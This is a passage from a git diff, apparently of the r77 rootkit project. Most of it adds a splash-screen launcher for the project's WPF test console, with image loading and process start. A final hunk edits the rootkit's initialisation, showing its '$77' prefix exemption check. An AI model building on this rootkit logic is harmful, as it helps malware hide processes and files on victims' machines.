WPF .net 9.0 and deployed as a self-contained application, instead of AnyCPU. + // TestConsole is written in WPF .net 10.0 and deployed as a self-contained application. // The launcher simply decides which version to launch based on the OS bitness. + // This executable shows a splash screen and starts the actual TestConsole.exe, + // which will then terminate this process to hide the splash screen. + WCHAR applicationDirectory[MAX_PATH + 1]; - WCHAR targetPath[MAX_PATH + 1]; + GetModuleFileNameW(NULL, applicationDirectory, MAX_PATH); + + WCHAR testConsolePath[MAX_PATH + 1]; LPCWSTR targetFileName = Is64BitOperatingSystem() ? L"TestConsole\\x64\\TestConsole.exe" : L"TestConsole\\x86\\TestConsole.exe"; - if (FAILED(GetModuleFileNameW(NULL, applicationDirectory, MAX_PATH)) || - !PathRemoveFileSpecW(applicationDirectory) || - !PathCombineW(targetPath, applicationDirectory, targetFileName)) + if (!PathRemoveFileSpecW(applicationDirectory) || + !PathCombineW(testConsolePath, applicationDirectory, targetFileName)) { MessageBoxW(NULL, L"Error", L"Test Console", MB_OK | MB_ICONHAND); return 0; } - if (!PathFileExistsW(targetPath)) + if (!PathFileExistsW(testConsolePath)) { WCHAR message[1000]; StrCpyW(message, L"File '"); @@ -30,20 +37,227 @@ int main() return 0; } + SetProcessDPIAware(); + + HRESULT result = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); + if (SUCCEEDED(result) || result == RPC_E_CHANGED_MODE) + { + WNDCLASSEXW wc; + i_memset(&wc, 0, sizeof(wc)); + wc.cbSize = sizeof(wc); + wc.hInstance = GetModuleHandleW(NULL); + wc.lpfnWndProc = WindowProc; + wc.lpszClassName = L"TESTCONSOLE"; + wc.hCursor = LoadCursorW(NULL, IDC_ARROW); + + if (RegisterClassExW(&wc)) + { + Window = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE, wc.lpszClassName, NULL, WS_POPUP, 0, 0, 0, 0, NULL, NULL, wc.hInstance, NULL); + if (Window) + { + SplashScreenImage = GetImageResource(IDB_SPLASHSCREEN, "PNG"); + + SetWindowSplashScreen(Window, SplashScreenImage); + ShowWindow(Window, SW_SHOWNOACTIVATE); + + StartTestConsole(testConsolePath); + + MSG message; + while (GetMessageW(&message, NULL, 0, 0) > 0) + { + TranslateMessage(&message); + DispatchMessageW(&message); + } + + } + + UnregisterClassW(wc.lpszClassName, wc.hInstance); + } + + if (SplashScreenImage) DeleteObject(SplashScreenImage); + + CoUninitialize(); + } + + return 0; +} + +LRESULT CALLBACK WindowProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) +{ + switch (msg) + { + case WM_CLOSE: + { + // Ignore closing of the splash screen. + return 0; + } + case WM_SYSCOMMAND: + { + if ((wParam & 0xfff0) == SC_CLOSE) + { + return 0; + } + break; + } + case WM_DESTROY: + { + PostQuitMessage(0); + return 0; + } + } + + return DefWindowProcW(hwnd, msg, wParam, lParam); +} + +BOOL SetWindowSplashScreen(HWND window, HBITMAP bitmap) +{ + BOOL result = FALSE; + + BITMAP bitmapInformation; + i_memset(&bitmapInformation, 0, sizeof(bitmapInformation)); + + if (GetObjectW(bitmap, sizeof(bitmapInformation), &bitmapInformation)) + { + MONITORINFO monitorInformation; + i_memset(&monitorInformation, 0, sizeof(monitorInformation)); + monitorInformation.cbSize = sizeof(monitorInformation); + + if (GetMonitorInfoW(MonitorFromWindow(window, MONITOR_DEFAULTTOPRIMARY), &monitorInformation)) + { + SIZE windowSize; + windowSize.cx = bitmapInformation.bmWidth; + windowSize.cy = bitmapInformation.bmHeight; + + POINT windowPosition; + windowPosition.x = monitorInformation.rcWork.left + (monitorInformation.rcWork.right - monitorInformation.rcWork.left - windowSize.cx) / 2; + windowPosition.y = monitorInformation.rcWork.top + (monitorInformation.rcWork.bottom - monitorInformation.rcWork.top - windowSize.cy) / 2; + + POINT sourcePosition; + sourcePosition.x = 0; + sourcePosition.y = 0; + + BLENDFUNCTION blendFunction; + blendFunction.BlendOp = AC_SRC_OVER; + blendFunction.BlendFlags = 0; + blendFunction.SourceConstantAlpha = 255; + blendFunction.AlphaFormat = AC_SRC_ALPHA; + + HDC screenDc = GetDC(NULL); + if (screenDc) + { + HDC bitmapDc = CreateCompatibleDC(screenDc); + if (bitmapDc) + { + HGDIOBJ oldImage = SelectObject(bitmapDc, bitmap); + UpdateLayeredWindow(window, screenDc, &windowPosition, &windowSize, bitmapDc, &sourcePosition, 0, &blendFunction, ULW_ALPHA); + result = TRUE; + + SelectObject(bitmapDc, oldImage); + DeleteDC(bitmapDc); + } + + ReleaseDC(NULL, screenDc); + } + } + } + + return result; +} +HBITMAP GetImageResource(DWORD resourceID, LPCSTR type) +{ + LPBYTE resourceData; + DWORD resourceSize; + + if (GetResource(resourceID, type, &resourceData, &resourceSize)) + { + HBITMAP bitmap = NULL; + + IWICImagingFactory *factory; + HRESULT result = CoCreateInstance(&CLSID_WICImagingFactory, NULL, CLSCTX_INPROC_SERVER, &IID_IWICImagingFactory, (LPVOID*)&factory); + if (SUCCEEDED(result)) + { + IWICStream *stream; + result = IWICImagingFactory_CreateStream(factory, &stream); + if (SUCCEEDED(result)) + { + result = IWICStream_InitializeFromMemory(stream, resourceData, resourceSize); + if (SUCCEEDED(result)) + { + IWICBitmapDecoder *decoder; + result = IWICImagingFactory_CreateDecoderFromStream(factory, (IStream*)stream, NULL, WICDecodeMetadataCacheOnLoad, &decoder); + if (SUCCEEDED(result)) + { + IWICBitmapFrameDecode *frame; + result = IWICBitmapDecoder_GetFrame(decoder, 0, &frame); + if (SUCCEEDED(result)) + { + IWICBitmapSource *convertedSource; + result = WICConvertBitmapSource(&GUID_WICPixelFormat32bppPBGRA, (IWICBitmapSource *)frame, &convertedSource); + if (SUCCEEDED(result)) + { + UINT width; + UINT height; + result = IWICBitmapSource_GetSize(convertedSource, &width, &height); + if (SUCCEEDED(result) && width > 0 && height > 0) + { + BITMAPINFO bitmapInfo; + i_memset(&bitmapInfo, 0, sizeof(bitmapInfo)); + bitmapInfo.bmiHeader.biSize = sizeof(BITMAPINFOHEADER); + bitmapInfo.bmiHeader.biWidth = (LONG)width; + bitmapInfo.bmiHeader.biHeight = -(LONG)height; + bitmapInfo.bmiHeader.biPlanes = 1; + bitmapInfo.bmiHeader.biBitCount = 32; + bitmapInfo.bmiHeader.biCompression = BI_RGB; + + LPVOID pixels; + bitmap = CreateDIBSection(NULL, &bitmapInfo, DIB_RGB_COLORS, &pixels, NULL, 0); + + if (bitmap && pixels) + { + result = IWICBitmapSource_CopyPixels(convertedSource, NULL, width * 4, width * 4 * height, (LPBYTE)pixels); + if (FAILED(result)) + { + DeleteObject(bitmap); + bitmap = NULL; + } + } + else if (bitmap) + { + DeleteObject(bitmap); + bitmap = NULL; + } + } + + IWICBitmapSource_Release(convertedSource); + } + + IWICBitmapFrameDecode_Release(frame); + } + + IWICBitmapDecoder_Release(decoder); + } + } + + IWICStream_Release(stream); + } + + IWICImagingFactory_Release(factory); + } + + return bitmap; + } + + return NULL; +} +VOID StartTestConsole(LPCWSTR path) +{ STARTUPINFOW startupInfo; PROCESS_INFORMATION processInformation; i_memset(&startupInfo, 0, sizeof(STARTUPINFOW)); i_memset(&processInformation, 0, sizeof(PROCESS_INFORMATION)); startupInfo.cb = sizeof(startupInfo); - if (!CreateProcessW(targetPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInformation)) - { - MessageBoxW(NULL, L"Error", L"Test Console", MB_OK | MB_ICONHAND); - return 0; - } - + CreateProcessW(path, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInformation); CloseHandle(processInformation.hThread); CloseHandle(processInformation.hProcess); - - return 0; } \ No newline at end of file diff --git a/TestConsoleLauncher/TestConsoleLauncher.h b/TestConsoleLauncher/TestConsoleLauncher.h new file mode 100644 index 0000000..d5bc42b --- /dev/null +++ b/TestConsoleLauncher/TestConsoleLauncher.h @@ -0,0 +1,11 @@ +#define CUSTOM_ENTRY +#include "r77mindef.h" + +HWND Window; +HBITMAP SplashScreenImage; + +LRESULT CALLBACK WindowProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam); + +BOOL SetWindowSplashScreen(HWND window, HBITMAP bitmap); +HBITMAP GetImageResource(DWORD resourceID, LPCSTR type); +VOID StartTestConsole(LPCWSTR path); \ No newline at end of file diff --git a/TestConsoleLauncher/TestConsoleLauncher.rc b/TestConsoleLauncher/TestConsoleLauncher.rc index 7aaddbb..3704cf8 100644 Binary files a/TestConsoleLauncher/TestConsoleLauncher.rc and b/TestConsoleLauncher/TestConsoleLauncher.rc differ diff --git a/TestConsoleLauncher/TestConsoleLauncher.vcxproj b/TestConsoleLauncher/TestConsoleLauncher.vcxproj index ccb40d9..65da24f 100644 --- a/TestConsoleLauncher/TestConsoleLauncher.vcxproj +++ b/TestConsoleLauncher/TestConsoleLauncher.vcxproj @@ -64,7 +64,7 @@ Windows true - ntdll.lib;shlwapi.lib;%(AdditionalDependencies) + ntdll.lib;kernel32.lib;advapi32.lib;user32.lib;gdi32.lib;comctl32.lib;shlwapi.lib;ole32.lib;windowscodecs.lib;msimg32.lib;pathcch.lib;%(AdditionalDependencies) true EntryPoint false @@ -95,7 +95,7 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" Windows false - ntdll.lib;shlwapi.lib;%(AdditionalDependencies) + ntdll.lib;kernel32.lib;advapi32.lib;user32.lib;gdi32.lib;comctl32.lib;shlwapi.lib;ole32.lib;windowscodecs.lib;msimg32.lib;pathcch.lib;%(AdditionalDependencies) true EntryPoint false @@ -114,11 +114,13 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" + + diff --git a/TestConsoleLauncher/resource.h b/TestConsoleLauncher/resource.h index cbb6bbf..cd9d292 100644 --- a/TestConsoleLauncher/resource.h +++ b/TestConsoleLauncher/resource.h @@ -3,12 +3,13 @@ // Used by TestConsoleLauncher.rc // #define IDI_ICON 101 +#define IDB_SPLASHSCREEN 102 // Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 102 +#define _APS_NEXT_RESOURCE_VALUE 103 #define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_CONTROL_VALUE 1001 #define _APS_NEXT_SYMED_VALUE 101 diff --git a/Uninstall/Resource.rc b/Uninstall/Uninstall.rc similarity index 100% rename from Uninstall/Resource.rc rename to Uninstall/Uninstall.rc diff --git a/Uninstall/Uninstall.vcxproj b/Uninstall/Uninstall.vcxproj index 9f06c3b..c11dd7f 100644 --- a/Uninstall/Uninstall.vcxproj +++ b/Uninstall/Uninstall.vcxproj @@ -111,7 +111,7 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" - + diff --git a/Uninstall/Uninstall.vcxproj.filters b/Uninstall/Uninstall.vcxproj.filters index d08a424..83d7422 100644 --- a/Uninstall/Uninstall.vcxproj.filters +++ b/Uninstall/Uninstall.vcxproj.filters @@ -1,22 +1,22 @@ - - - - - {0a2dd5cf-758d-465c-b618-75f299998dd0} - - - - - - - - - - - Resources - - - - - + + + + + {0a2dd5cf-758d-465c-b618-75f299998dd0} + + + + + + + + + + + Resources + + + + + \ No newline at end of file diff --git a/r77/Rootkit.c b/r77/Rootkit.c index fd0a1f9..92ffd7d 100644 --- a/r77/Rootkit.c +++ b/r77/Rootkit.c @@ -11,7 +11,7 @@ BOOL InitializeRootkit() { // If the process starts with $77, do not load r77. WCHAR executablePath[MAX_PATH + 1]; - if (FAILED(GetModuleFileNameW(NULL, executablePath, MAX_PATH))) return FALSE; + GetModuleFileNameW(NULL, executablePath, MAX_PATH); if (HasPrefix(PathFindFileNameW(executablePath))) return FALSE; // Write the r77 header.